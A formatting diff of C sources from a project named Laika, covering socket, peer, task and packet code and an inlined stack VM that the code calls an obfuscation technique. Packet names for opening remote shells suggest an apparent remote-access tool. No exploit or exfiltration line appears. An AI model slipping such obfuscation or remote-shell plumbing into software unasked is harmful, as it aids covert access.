char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipStr[LAIKA_IPSTR_LEN];
|
||||||
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
struct sLaika_pollList *pList; /* pollList we're activeList in */
|
||||||
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
struct sLaika_peerPacketInfo *packetTbl; /* const table to pull pkt data from */
|
||||||
void *uData; /* data to be passed to pktHandler */
|
void *uData; /* data to be passed to pktHandler */
|
||||||
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
LAIKAPKT_SIZE pktSize; /* current pkt size */
|
||||||
LAIKAPKT_ID pktID; /* current pkt ID */
|
LAIKAPKT_ID pktID; /* current pkt ID */
|
||||||
PEERTYPE type;
|
PEERTYPE type;
|
||||||
OSTYPE osType;
|
OSTYPE osType;
|
||||||
int outStart; /* index of pktID for out packet */
|
int outStart; /* index of pktID for out packet */
|
||||||
int inStart; /* index of pktID for in packet */
|
int inStart; /* index of pktID for in packet */
|
||||||
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData);
|
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *packetTbl,
|
||||||
|
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||||
|
void *onPollFailUData, void *uData);
|
||||||
void laikaS_freePeer(struct sLaika_peer *peer);
|
void laikaS_freePeer(struct sLaika_peer *peer);
|
||||||
|
|
||||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
void laikaS_setSecure(struct sLaika_peer *peer, bool flag);
|
||||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id); /* for sending packets with no body */
|
void laikaS_emptyOutPacket(struct sLaika_peer *peer,
|
||||||
|
LAIKAPKT_ID id); /* for sending packets with no body */
|
||||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||||
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
int laikaS_endOutPacket(struct sLaika_peer *peer);
|
||||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id);
|
||||||
|
@ -1,22 +1,24 @@
|
|||||||
#ifndef LAIKA_POLLLIST_H
|
#ifndef LAIKA_POLLLIST_H
|
||||||
#define LAIKA_POLLLIST_H
|
#define LAIKA_POLLLIST_H
|
||||||
|
|
||||||
#include <stdbool.h>
|
#include "hashmap.h"
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lsocket.h"
|
#include "lsocket.h"
|
||||||
#include "hashmap.h"
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
/* number of pollFDs or epollFDs we expect to start with */
|
/* number of pollFDs or epollFDs we expect to start with */
|
||||||
#define POLLSTARTCAP 8
|
#define POLLSTARTCAP 8
|
||||||
|
|
||||||
struct sLaika_pollEvent {
|
struct sLaika_pollEvent
|
||||||
|
{
|
||||||
struct sLaika_socket *sock;
|
struct sLaika_socket *sock;
|
||||||
bool pollIn;
|
bool pollIn;
|
||||||
bool pollOut;
|
bool pollOut;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_pollList {
|
struct sLaika_pollList
|
||||||
|
{
|
||||||
struct hashmap *sockets;
|
struct hashmap *sockets;
|
||||||
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
|
struct sLaika_socket **outQueue; /* holds sockets which have data needed to be sent */
|
||||||
struct sLaika_pollEvent *revents;
|
struct sLaika_pollEvent *revents;
|
||||||
|
@ -4,57 +4,58 @@
|
|||||||
/* socket/winsock headers */
|
/* socket/winsock headers */
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
/* windows */
|
/* windows */
|
||||||
# ifndef NOMINMAX
|
# ifndef NOMINMAX
|
||||||
# define NOMINMAX
|
# define NOMINMAX
|
||||||
# endif
|
# endif
|
||||||
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
# define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||||||
# include <winsock2.h>
|
# include <windows.h>
|
||||||
# include <windows.h>
|
# include <winsock2.h>
|
||||||
# include <ws2tcpip.h>
|
# include <ws2tcpip.h>
|
||||||
# pragma comment(lib, "Ws2_32.lib")
|
# pragma comment(lib, "Ws2_32.lib")
|
||||||
|
|
||||||
typedef char buffer_t;
|
typedef char buffer_t;
|
||||||
# define PollFD WSAPOLLFD
|
# define PollFD WSAPOLLFD
|
||||||
# define poll WSAPoll
|
# define poll WSAPoll
|
||||||
# define LN_ERRNO WSAGetLastError()
|
# define LN_ERRNO WSAGetLastError()
|
||||||
# define LN_EWOULD WSAEWOULDBLOCK
|
# define LN_EWOULD WSAEWOULDBLOCK
|
||||||
# define LN_MSG_NOSIGNAL 0
|
# define LN_MSG_NOSIGNAL 0
|
||||||
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
# define SOCKETINVALID(x) (x == INVALID_SOCKET)
|
||||||
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
# define SOCKETERROR(x) (x == SOCKET_ERROR)
|
||||||
#else
|
#else
|
||||||
/* posix platform */
|
/* posix platform */
|
||||||
# include <sys/types.h>
|
# include <arpa/inet.h>
|
||||||
# include <sys/socket.h>
|
# include <netdb.h>
|
||||||
# include <netdb.h>
|
# include <netinet/in.h>
|
||||||
# include <netinet/in.h>
|
# include <poll.h>
|
||||||
# include <arpa/inet.h>
|
# include <sys/socket.h>
|
||||||
# include <poll.h>
|
# include <sys/types.h>
|
||||||
# ifdef __linux__
|
# ifdef __linux__
|
||||||
# include <sys/epoll.h>
|
# include <sys/epoll.h>
|
||||||
/* max events for epoll() */
|
/* max events for epoll() */
|
||||||
# define MAX_EPOLL_EVENTS 128
|
# define MAX_EPOLL_EVENTS 128
|
||||||
# define LAIKA_USE_EPOLL
|
# define LAIKA_USE_EPOLL
|
||||||
# endif
|
# endif
|
||||||
# include <unistd.h>
|
# include <errno.h>
|
||||||
# include <errno.h>
|
# include <unistd.h>
|
||||||
|
|
||||||
typedef int SOCKET;
|
typedef int SOCKET;
|
||||||
typedef void buffer_t;
|
typedef void buffer_t;
|
||||||
# define PollFD struct pollfd
|
# define PollFD struct pollfd
|
||||||
# define LN_ERRNO errno
|
# define LN_ERRNO errno
|
||||||
# define LN_EWOULD EWOULDBLOCK
|
# define LN_EWOULD EWOULDBLOCK
|
||||||
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
# define LN_MSG_NOSIGNAL MSG_NOSIGNAL
|
||||||
# define INVALID_SOCKET -1
|
# define INVALID_SOCKET -1
|
||||||
# define SOCKETINVALID(x) (x < 0)
|
# define SOCKETINVALID(x) (x < 0)
|
||||||
# define SOCKETERROR(x) (x == -1)
|
# define SOCKETERROR(x) (x == -1)
|
||||||
#endif
|
#endif
|
||||||
#include <fcntl.h>
|
|
||||||
#include <stdbool.h>
|
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lsodium.h"
|
#include "lsodium.h"
|
||||||
|
|
||||||
typedef enum {
|
#include <fcntl.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
|
||||||
|
typedef enum
|
||||||
|
{
|
||||||
RAWSOCK_OK,
|
RAWSOCK_OK,
|
||||||
RAWSOCK_ERROR,
|
RAWSOCK_ERROR,
|
||||||
RAWSOCK_CLOSED,
|
RAWSOCK_CLOSED,
|
||||||
@ -64,14 +65,15 @@ typedef enum {
|
|||||||
typedef bool (*pollEvent)(struct sLaika_socket *sock);
|
typedef bool (*pollEvent)(struct sLaika_socket *sock);
|
||||||
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
|
typedef void (*pollFailEvent)(struct sLaika_socket *sock, void *uData);
|
||||||
|
|
||||||
struct sLaika_socket {
|
struct sLaika_socket
|
||||||
|
{
|
||||||
SOCKET sock; /* raw socket fd */
|
SOCKET sock; /* raw socket fd */
|
||||||
pollFailEvent onPollFail;
|
pollFailEvent onPollFail;
|
||||||
pollEvent onPollIn;
|
pollEvent onPollIn;
|
||||||
pollEvent onPollOut;
|
pollEvent onPollOut;
|
||||||
void *uData; /* passed to onPollFail */
|
void *uData; /* passed to onPollFail */
|
||||||
uint8_t *outBuf; /* raw data to be sent() */
|
uint8_t *outBuf; /* raw data to be sent() */
|
||||||
uint8_t *inBuf; /* raw data we recv()'d */
|
uint8_t *inBuf; /* raw data we recv()'d */
|
||||||
int outCount;
|
int outCount;
|
||||||
int inCount;
|
int inCount;
|
||||||
int outCap;
|
int outCap;
|
||||||
@ -87,24 +89,31 @@ bool laikaS_isBigEndian(void);
|
|||||||
void laikaS_init(void);
|
void laikaS_init(void);
|
||||||
void laikaS_cleanUp(void);
|
void laikaS_cleanUp(void);
|
||||||
|
|
||||||
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut, pollFailEvent onPollFail, void *uData);
|
void laikaS_initSocket(struct sLaika_socket *sock, pollEvent onPollIn, pollEvent onPollOut,
|
||||||
|
pollFailEvent onPollFail, void *uData);
|
||||||
void laikaS_cleanSocket(struct sLaika_socket *sock);
|
void laikaS_cleanSocket(struct sLaika_socket *sock);
|
||||||
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
void laikaS_kill(struct sLaika_socket *sock); /* kills a socket */
|
||||||
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
|
void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port); /* connect to ip & port */
|
||||||
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to port */
|
||||||
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
|
void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from, char *ipStr);
|
||||||
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
bool laikaS_setNonBlock(struct sLaika_socket *sock);
|
||||||
|
|
||||||
void laikaS_consumeRead(struct sLaika_socket *sock, size_t sz); /* throws sz bytes away from the inBuf */
|
void laikaS_consumeRead(struct sLaika_socket *sock,
|
||||||
void laikaS_zeroWrite(struct sLaika_socket *sock, size_t sz); /* writes sz NULL bytes to the outBuf */
|
size_t sz); /* throws sz bytes away from the inBuf */
|
||||||
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
void laikaS_zeroWrite(struct sLaika_socket *sock,
|
||||||
|
size_t sz); /* writes sz NULL bytes to the outBuf */
|
||||||
|
void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */
|
||||||
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */
|
||||||
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */
|
void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz,
|
||||||
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub, uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
uint8_t *pub); /* encrypts & writes from buf using pub key */
|
||||||
|
void laikaS_readKeyDecrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub,
|
||||||
|
uint8_t *priv); /* decrypts & reads to buf using pub & priv key*/
|
||||||
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data);
|
||||||
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
uint8_t laikaS_readByte(struct sLaika_socket *sock);
|
||||||
void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads INT, respecting endianness */
|
void laikaS_readInt(struct sLaika_socket *sock, void *buf,
|
||||||
void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */
|
size_t sz); /* reads INT, respecting endianness */
|
||||||
|
void laikaS_writeInt(struct sLaika_socket *sock, void *buf,
|
||||||
|
size_t sz); /* writes INT, respecting endianness */
|
||||||
|
|
||||||
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed);
|
||||||
|
@ -1,13 +1,15 @@
|
|||||||
#ifndef LAIKA_TASK_H
|
#ifndef LAIKA_TASK_H
|
||||||
#define LAIKA_TASK_H
|
#define LAIKA_TASK_H
|
||||||
|
|
||||||
#include <time.h>
|
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
|
|
||||||
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData);
|
#include <time.h>
|
||||||
|
|
||||||
struct sLaika_task {
|
typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task,
|
||||||
|
clock_t currTick, void *uData);
|
||||||
|
|
||||||
|
struct sLaika_task
|
||||||
|
{
|
||||||
struct sLaika_task *next;
|
struct sLaika_task *next;
|
||||||
taskCallback callback;
|
taskCallback callback;
|
||||||
void *uData;
|
void *uData;
|
||||||
@ -15,14 +17,16 @@ struct sLaika_task {
|
|||||||
int delta;
|
int delta;
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaika_taskService {
|
struct sLaika_taskService
|
||||||
|
{
|
||||||
struct sLaika_task *headTask;
|
struct sLaika_task *headTask;
|
||||||
};
|
};
|
||||||
|
|
||||||
void laikaT_initTaskService(struct sLaika_taskService *service);
|
void laikaT_initTaskService(struct sLaika_taskService *service);
|
||||||
void laikaT_cleanTaskService(struct sLaika_taskService *service);
|
void laikaT_cleanTaskService(struct sLaika_taskService *service);
|
||||||
|
|
||||||
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData);
|
struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta,
|
||||||
|
taskCallback callback, void *uData);
|
||||||
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
|
void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task);
|
||||||
|
|
||||||
void laikaT_pollTasks(struct sLaika_taskService *service);
|
void laikaT_pollTasks(struct sLaika_taskService *service);
|
||||||
|
@ -5,50 +5,63 @@
|
|||||||
This is an obfuscation technique where vital code can be executed in a
|
This is an obfuscation technique where vital code can be executed in a
|
||||||
stack-based VM, inlined into the function. The VM instruction-set is fairly
|
stack-based VM, inlined into the function. The VM instruction-set is fairly
|
||||||
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
|
simple, see the OP_* enum for avaliable opcodes and their expected arguments.
|
||||||
The VM is turing-complete, however the instruction-set has been curated to
|
The VM is turing-complete, however the instruction-set has been curated to
|
||||||
fit this specific use case.
|
fit this specific use case.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include <inttypes.h>
|
|
||||||
|
|
||||||
#include "laika.h"
|
#include "laika.h"
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
|
|
||||||
|
#include <inttypes.h>
|
||||||
|
|
||||||
#define LAIKA_VM_STACKSIZE 64
|
#define LAIKA_VM_STACKSIZE 64
|
||||||
#define LAIKA_VM_CONSTSIZE 32
|
#define LAIKA_VM_CONSTSIZE 32
|
||||||
|
|
||||||
struct sLaikaV_vm_val {
|
struct sLaikaV_vm_val
|
||||||
union {
|
{
|
||||||
|
union
|
||||||
|
{
|
||||||
uint8_t i;
|
uint8_t i;
|
||||||
uint8_t *ptr;
|
uint8_t *ptr;
|
||||||
};
|
};
|
||||||
};
|
};
|
||||||
|
|
||||||
struct sLaikaV_vm {
|
struct sLaikaV_vm
|
||||||
|
{
|
||||||
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
|
struct sLaikaV_vm_val stack[LAIKA_VM_STACKSIZE];
|
||||||
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
|
struct sLaikaV_vm_val constList[LAIKA_VM_CONSTSIZE];
|
||||||
uint8_t code[LAIKA_VM_CODESIZE];
|
uint8_t code[LAIKA_VM_CODESIZE];
|
||||||
int pc;
|
int pc;
|
||||||
};
|
};
|
||||||
|
|
||||||
#define LAIKA_MAKE_VM(_consts, _code) {.constList = _consts, .code = _code, .pc = 0, .stack = {0}}
|
#define LAIKA_MAKE_VM(_consts, _code) \
|
||||||
|
{ \
|
||||||
|
.constList = _consts, .code = _code, .pc = 0, .stack = { 0 } \
|
||||||
|
}
|
||||||
|
|
||||||
/* constants */
|
/* constants */
|
||||||
#define LAIKA_MAKE_VM_INT(_i) {.i = _i}
|
#define LAIKA_MAKE_VM_INT(_i) \
|
||||||
#define LAIKA_MAKE_VM_PTR(_ptr) {.ptr = _ptr}
|
{ \
|
||||||
|
.i = _i \
|
||||||
|
}
|
||||||
|
#define LAIKA_MAKE_VM_PTR(_ptr) \
|
||||||
|
{ \
|
||||||
|
.ptr = _ptr \
|
||||||
|
}
|
||||||
/* instructions */
|
/* instructions */
|
||||||
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
#define LAIKA_MAKE_VM_IA(opcode, a) opcode, a
|
||||||
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
#define LAIKA_MAKE_VM_IAB(opcode, a, b) opcode, a, b
|
||||||
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
|
#define LAIKA_MAKE_VM_IABC(opcode, a, b, c) opcode, a, b, c
|
||||||
|
|
||||||
enum {
|
enum
|
||||||
|
{
|
||||||
OP_EXIT,
|
OP_EXIT,
|
||||||
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
|
OP_LOADCONST, /* stk_indx[uint8_t] = const_indx[uint8_t] */
|
||||||
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
OP_PUSHLIT, /* stk_indx[uint8_t].i = uint8_t */
|
||||||
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
OP_READ, /* stk_indx[uint8_t].i = *(int8_t*)stk_indx[uint8_t] */
|
||||||
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
OP_WRITE, /* *(uint8_t*)stk_indx[uint8_t].ptr = stk_indx[uint8_t].i */
|
||||||
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
OP_INCPTR, /* stk_indx[uint8_t].ptr++ */
|
||||||
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
OP_DECPTR, /* stk_indx[uint8_t].ptr-- */
|
||||||
|
|
||||||
/* arithmetic */
|
/* arithmetic */
|
||||||
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
|
OP_ADD, /* stk_indx[uint8_t] = stk_indx[uint8_t] + stk_indx[uint8_t] */
|
||||||
@ -68,83 +81,93 @@ enum {
|
|||||||
#endif
|
#endif
|
||||||
};
|
};
|
||||||
|
|
||||||
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm) {
|
LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
||||||
|
{
|
||||||
|
|
||||||
#define READBYTE (vm->code[vm->pc++])
|
#define READBYTE (vm->code[vm->pc++])
|
||||||
#define BINOP(x) { \
|
#define BINOP(x) \
|
||||||
uint8_t a = READBYTE; \
|
{ \
|
||||||
uint8_t b = READBYTE; \
|
uint8_t a = READBYTE; \
|
||||||
uint8_t c = READBYTE; \
|
uint8_t b = READBYTE; \
|
||||||
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
uint8_t c = READBYTE; \
|
||||||
break; \
|
vm->stack[a].i = vm->stack[b].i x vm->stack[c].i; \
|
||||||
}
|
break; \
|
||||||
|
}
|
||||||
|
|
||||||
while (vm->code[vm->pc]) {
|
while (vm->code[vm->pc]) {
|
||||||
switch (vm->code[vm->pc++]) {
|
switch (vm->code[vm->pc++]) {
|
||||||
case OP_LOADCONST: {
|
case OP_LOADCONST: {
|
||||||
uint8_t indx = READBYTE;
|
uint8_t indx = READBYTE;
|
||||||
uint8_t constIndx = READBYTE;
|
uint8_t constIndx = READBYTE;
|
||||||
vm->stack[indx] = vm->constList[constIndx];
|
vm->stack[indx] = vm->constList[constIndx];
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_PUSHLIT: {
|
case OP_PUSHLIT: {
|
||||||
uint8_t indx = READBYTE;
|
uint8_t indx = READBYTE;
|
||||||
uint8_t lit = READBYTE;
|
uint8_t lit = READBYTE;
|
||||||
vm->stack[indx].i = lit;
|
vm->stack[indx].i = lit;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_READ: {
|
case OP_READ: {
|
||||||
uint8_t indx = READBYTE;
|
uint8_t indx = READBYTE;
|
||||||
uint8_t ptr = READBYTE;
|
uint8_t ptr = READBYTE;
|
||||||
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
vm->stack[indx].i = *vm->stack[ptr].ptr;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_WRITE: {
|
case OP_WRITE: {
|
||||||
uint8_t ptr = READBYTE;
|
uint8_t ptr = READBYTE;
|
||||||
uint8_t indx = READBYTE;
|
uint8_t indx = READBYTE;
|
||||||
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
*vm->stack[ptr].ptr = vm->stack[indx].i;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_INCPTR: {
|
case OP_INCPTR: {
|
||||||
uint8_t ptr = READBYTE;
|
uint8_t ptr = READBYTE;
|
||||||
vm->stack[ptr].ptr++;
|
vm->stack[ptr].ptr++;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_DECPTR: {
|
case OP_DECPTR: {
|
||||||
uint8_t ptr = READBYTE;
|
uint8_t ptr = READBYTE;
|
||||||
vm->stack[ptr].ptr--;
|
vm->stack[ptr].ptr--;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
case OP_ADD: BINOP(+);
|
case OP_ADD:
|
||||||
case OP_SUB: BINOP(-);
|
BINOP(+);
|
||||||
case OP_MUL: BINOP(*);
|
case OP_SUB:
|
||||||
case OP_DIV: BINOP(/);
|
BINOP(-);
|
||||||
case OP_AND: BINOP(&);
|
case OP_MUL:
|
||||||
case OP_OR: BINOP(|);
|
BINOP(*);
|
||||||
case OP_XOR: BINOP(^);
|
case OP_DIV:
|
||||||
case OP_TESTJMP: {
|
BINOP(/);
|
||||||
uint8_t indx = READBYTE;
|
case OP_AND:
|
||||||
int8_t jmp = READBYTE;
|
BINOP(&);
|
||||||
|
case OP_OR:
|
||||||
|
BINOP(|);
|
||||||
|
case OP_XOR:
|
||||||
|
BINOP(^);
|
||||||
|
case OP_TESTJMP: {
|
||||||
|
uint8_t indx = READBYTE;
|
||||||
|
int8_t jmp = READBYTE;
|
||||||
|
|
||||||
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
/* if stack indx is true, jump by jmp (signed 8-bit int) */
|
||||||
if (vm->stack[indx].i)
|
if (vm->stack[indx].i)
|
||||||
vm->pc += jmp;
|
vm->pc += jmp;
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
case OP_DEBUG: {
|
case OP_DEBUG: {
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* print stack info */
|
/* print stack info */
|
||||||
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
for (i = 0; i < LAIKA_VM_STACKSIZE; i++)
|
||||||
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
printf("[%03d] - 0x%02x\n", i, vm->stack[i].i);
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
default:
|
default:
|
||||||
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc], vm->pc);
|
LAIKA_ERROR("laikaV_execute: unknown opcode [0x%02x]! pc: %d\n", vm->code[vm->pc],
|
||||||
|
vm->pc);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,7 +1,9 @@
|
|||||||
#include "lerror.h"
|
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
|
|
||||||
void *laikaM_realloc(void *buf, size_t sz) {
|
#include "lerror.h"
|
||||||
|
|
||||||
|
void *laikaM_realloc(void *buf, size_t sz)
|
||||||
|
{
|
||||||
void *newBuf;
|
void *newBuf;
|
||||||
|
|
||||||
/* are we free'ing the buffer? */
|
/* are we free'ing the buffer? */
|
||||||
|
@ -1,20 +1,19 @@
|
|||||||
#include "lpacket.h"
|
#include "lpacket.h"
|
||||||
|
|
||||||
#ifdef DEBUG
|
#ifdef DEBUG
|
||||||
const char* laikaD_getPacketName(LAIKAPKT_ID id) {
|
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||||
const char *PKTNAMES[] = {
|
{
|
||||||
"LAIKAPKT_VARPKT",
|
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||||
"LAIKAPKT_HANDSHAKE_REQ",
|
"LAIKAPKT_HANDSHAKE_REQ",
|
||||||
"LAIKAPKT_HANDSHAKE_RES",
|
"LAIKAPKT_HANDSHAKE_RES",
|
||||||
"LAIKAPKT_PINGPONG",
|
"LAIKAPKT_PINGPONG",
|
||||||
"LAIKAPKT_SHELL_OPEN",
|
"LAIKAPKT_SHELL_OPEN",
|
||||||
"LAIKAPKT_SHELL_CLOSE",
|
"LAIKAPKT_SHELL_CLOSE",
|
||||||
"LAIKAPKT_SHELL_DATA",
|
"LAIKAPKT_SHELL_DATA",
|
||||||
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
"LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ",
|
||||||
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
"LAIKAPKT_AUTHENTICATED_ADD_PEER_RES",
|
||||||
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
"LAIKAPKT_AUTHENTICATED_RMV_PEER_RES",
|
||||||
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"
|
"LAIKAPKT_AUTHENTICATED_SHELL_OPEN_REQ"};
|
||||||
};
|
|
||||||
|
|
||||||
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
|
return id >= LAIKAPKT_MAXNONE ? "LAIKAPKT_UNKNOWN" : PKTNAMES[id];
|
||||||
}
|
}
|
||||||
|
214
lib/src/lpeer.c
214
lib/src/lpeer.c
@ -1,16 +1,16 @@
|
|||||||
#include "lerror.h"
|
|
||||||
#include "lmem.h"
|
|
||||||
#include "lpeer.h"
|
#include "lpeer.h"
|
||||||
|
|
||||||
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct sLaika_pollList *pList, pollFailEvent onPollFail, void *onPollFailUData, void *uData) {
|
#include "lerror.h"
|
||||||
|
#include "lmem.h"
|
||||||
|
|
||||||
|
struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl,
|
||||||
|
struct sLaika_pollList *pList, pollFailEvent onPollFail,
|
||||||
|
void *onPollFailUData, void *uData)
|
||||||
|
{
|
||||||
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer));
|
||||||
|
|
||||||
laikaS_initSocket(&peer->sock,
|
laikaS_initSocket(&peer->sock, laikaS_handlePeerIn, laikaS_handlePeerOut, onPollFail,
|
||||||
laikaS_handlePeerIn,
|
onPollFailUData);
|
||||||
laikaS_handlePeerOut,
|
|
||||||
onPollFail,
|
|
||||||
onPollFailUData
|
|
||||||
);
|
|
||||||
|
|
||||||
peer->packetTbl = pktTbl;
|
peer->packetTbl = pktTbl;
|
||||||
peer->pList = pList;
|
peer->pList = pList;
|
||||||
@ -31,14 +31,16 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
|
|||||||
return peer;
|
return peer;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_freePeer(struct sLaika_peer *peer) {
|
void laikaS_freePeer(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
laikaS_cleanSocket(&peer->sock);
|
laikaS_cleanSocket(&peer->sock);
|
||||||
laikaM_free(peer);
|
laikaM_free(peer);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ===================================[[ Start/End Packets ]]=================================== */
|
/* ===================================[[ Start/End Packets ]]=================================== */
|
||||||
|
|
||||||
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||||
|
{
|
